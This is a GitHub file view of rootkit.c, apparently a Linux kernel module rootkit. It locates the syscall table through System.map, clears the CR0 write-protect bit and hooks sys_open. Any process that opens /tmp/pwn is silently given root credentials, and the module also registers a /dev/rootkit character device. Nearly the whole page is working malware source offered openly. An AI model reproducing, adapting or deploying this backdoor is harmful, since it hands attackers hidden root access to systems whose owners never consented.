-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathrootkit.c
More file actions
295 lines (225 loc) · 5.9 KB
/
rootkit.c
File metadata and controls
295 lines (225 loc) · 5.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
/*
* open & release: < /dev/rootkit
* write: echo x > /dev/rootkit
* read: dd bs=1 count=1 < /dev/rootkit
*
*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <asm/page.h>
#include <linux/sched.h>
#include <asm/current.h>
#include <linux/proc_fs.h>
#include <linux/slab.h> // kmalloc()
#include <linux/fs.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/file.h>
#include <linux/version.h>
#include <linux/fcntl.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Romain. B");
MODULE_DESCRIPTION("Es. Rootkit");
#define DEVICE_NAME "rootkit"
#define PROC_V "/proc/version"
#define BOOT_PATH "/boot/System.map-"
#define MAX_LEN 256
#define BUF_SIZE 64
static char buffer[BUF_SIZE];
static size_t num = 0;
static int major = 0; /*** Major number ***/
unsigned long long *syscall_table;
int sys_found = 0;
asmlinkage long (*orig_open)(const char *filename, int flags, umode_t mode);
asmlinkage long new_open(const char *filename, int flags, umode_t mode)
{
struct cred *credential = NULL;
if (strcmp(filename, "/tmp/pwn") == 0) {
printk(KERN_INFO"# Filename: %s\n", filename);
credential = prepare_creds();
credential->uid = credential->gid = credential->euid =
credential->egid = credential->suid = credential->sgid =
credential->fsuid = credential->fsgid = 0;
commit_creds(credential);
}
return orig_open(filename, flags, mode);
}
char *search_file(char *buf)
{
struct file* f;
char *ver;
mm_segment_t oldfs;
oldfs = get_fs();
set_fs(KERNEL_DS);
f = filp_open(PROC_V, O_RDONLY, 0);
if (IS_ERR(f) || f == NULL)
return NULL;
memset(buf, 0, MAX_LEN);
vfs_read(f, buf, MAX_LEN, &f->f_pos);
ver = strsep(&buf, " ");
ver = strsep(&buf, " ");
ver = strsep(&buf, " ");
filp_close(f, 0);
set_fs(oldfs);
return ver;
}
static int find_sys_call_table(char *kern_ver)
{
char buf[MAX_LEN];
int i = 0;
char *filename;
char *p;
struct file *f = NULL;
mm_segment_t oldfs;
oldfs = get_fs();
set_fs (KERNEL_DS);
filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL);
if ( filename == NULL ) {
return -1;
}
memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1);
strncpy(filename, BOOT_PATH, strlen(BOOT_PATH));
strncat(filename, kern_ver, strlen(kern_ver));
printk(KERN_ALERT "\nPath %s\n", filename);
f = filp_open(filename, O_RDONLY, 0);
if ( IS_ERR(f) || ( f == NULL )) {
return -1;
}
memset(buf, 0x0, MAX_LEN);
p = buf;
while (vfs_read(f, p+i, 1, &f->f_pos) == 1) {
if ( p[i] == '\n' || i == 255 ) {
i = 0;
if ( (strstr(p, "sys_call_table")) != NULL ) {
char *sys_string;
sys_string = kmalloc(MAX_LEN, GFP_KERNEL);
if ( sys_string == NULL ) {
filp_close(f, 0);
set_fs(oldfs);
kfree(filename);
return -1;
}
memset(sys_string, 0, MAX_LEN);
strncpy(sys_string, strsep(&p, " "), MAX_LEN);
syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16);
kfree(sys_string);
break;
}
memset(buf, 0x0, MAX_LEN);
continue;
}
i++;
}
filp_close(f, 0);
set_fs(oldfs);
kfree(filename);
return 0;
}
static int rootk_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
unsigned int value = cmd;
printk(KERN_INFO"%s: ioctl() %d %ld\n", DEVICE_NAME, cmd, arg);
if (copy_to_user((unsigned int*)arg, &value, sizeof(int))) {
printk(KERN_INFO"copy successful");
}
return (0);
}
static int rootk_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO"%s: open()\n", DEVICE_NAME);
return (0);
}
static int rootk_release(struct inode *inode, struct file *file)
{
printk(KERN_INFO"%s: release()\n", DEVICE_NAME);
return (0);
}
static ssize_t rootk_write(struct file *file, const char *buf, size_t count, loff_t *ppos)
{
size_t real;
printk(KERN_INFO"%s: write()\n", DEVICE_NAME);
real = min((size_t)BUF_SIZE, count);
if (real)
if (copy_from_user(buffer, buf, real))
return -EFAULT;
num = real;
printk(KERN_DEBUG"%s: wrote %ld/%ld chars %s\n", DEVICE_NAME, real, count, buffer);
return (real);
}
static ssize_t rootk_read(struct file *file, char *buf, size_t count, loff_t *ppos)
{
size_t real;
printk(KERN_INFO"%s: read()\n", DEVICE_NAME);
real = min(num, count);
if (real)
if (copy_to_user(buf, buffer, real)) {
printk(KERN_INFO"failed...");
return -EFAULT;
}
num = 0;
printk(KERN_DEBUG"%s: read() %ld/%ld chars %s\n", DEVICE_NAME, real, count, buffer);
return (real);
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.read = rootk_read,
.write = rootk_write,
.open = rootk_open,
.release = rootk_release,
.unlocked_ioctl = rootk_ioctl
};
static int implement_hook()
{
char *kern_ver;
char *buf;
buf = kmalloc(MAX_LEN, GFP_KERNEL);
if (buf == NULL) {
sys_found = 1;
return -EFAULT;
}
kern_ver = search_file(buf);
printk(KERN_INFO"Kernel version: %s\n", buf);
if (find_sys_call_table(kern_ver) == -1) {
sys_found = 1;
return -EFAULT;
}
sys_found = 0;
write_cr0(read_cr0() & (~0x10000));
orig_open = syscall_table[__NR_open];
syscall_table[__NR_open] = new_open;
write_cr0(read_cr0() | 0x10000);
kfree(buf);
buf = NULL;
return (0);
}
static int __init init(void) {
int ret;
ret = register_chrdev(major, DEVICE_NAME, &fops);
if (ret < 0) {
printk(KERN_WARNING"%s unable to get a major\n", DEVICE_NAME);
return ret;
}
if (major == 0) major = ret;
printk(KERN_INFO"major: %d\n", major);
/*
* Implement the hook on sys_open()
*/
if (implement_hook() == -EFAULT)
printk(KERN_DEBUG"Error during the implementation of the sys_open's hook\n");
return (0);
}
static void __exit exit_clean(void) {
unregister_chrdev(major, DEVICE_NAME);
printk(KERN_INFO"%s unloaded\n", DEVICE_NAME);
if (sys_found == 0) {
write_cr0(read_cr0() & (~0x10000));
syscall_table[__NR_open] = orig_open;
write_cr0(read_cr0() | 0x10000);
}
return;
}
module_init(init);
module_exit(exit_clean);